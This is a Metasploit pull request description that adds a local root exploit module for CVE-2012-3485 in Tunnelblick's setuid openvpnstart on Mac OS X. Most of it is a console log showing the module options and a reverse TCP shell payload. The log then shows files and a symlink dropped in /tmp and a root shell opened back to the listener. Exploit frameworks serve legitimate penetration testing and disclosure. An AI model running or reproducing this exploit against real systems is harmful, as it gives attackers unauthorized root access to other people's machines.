rapid7/metasploit-framework — pull request #1538 by jvazquez-r7 (2013-03-03 18:50:08+00:00)
Title: added module for CVE-2012-3485

Vulnerable application can be downloaded from:

https://code.google.com/p/tunnelblick/wiki/DownloadsEntry?tm=2

Tested on Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5

```
msf exploit(setuid_tunnelblick) > show options

Module options (exploit/osx/local/setuid_tunnelblick):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 4 yes The session to run this module on.
Tunnelblick /Applications/Tunnelblick.app/Contents/Resources/openvpnstart yes Path to setuid openvpnstart executable
WritableDir /tmp yes A directory where we can write files

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Tunnelblick 3.2.8 / Mac OS X x86

msf exploit(setuid_tunnelblick) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Creating directory...
[*] Dropping executable /tmp/openvpn/openvpn-0/VyoTlxIL
[*] Dropping shell script /tmp/openvpn/openvpn-0/openvpn...
[*] Creating symlink /tmp/KZGacEei...
[*] Running...
[*] Command shell session 8 opened (192.168.1.128:4444 -> 192.168.1.128:53260) at 2013-03-03 19:46:19 +0100
[!] Remember to clean files: /tmp/KZGacEei and the /tmp/openvpn directory

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),33(_appstore),61(localaccounts),80(admin),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1),401(com.apple.access_screensharing)
^C
Abort session 8? [y/N] y

[*] 192.168.1.128 - Command shell session 8 closed. Reason: User exit

```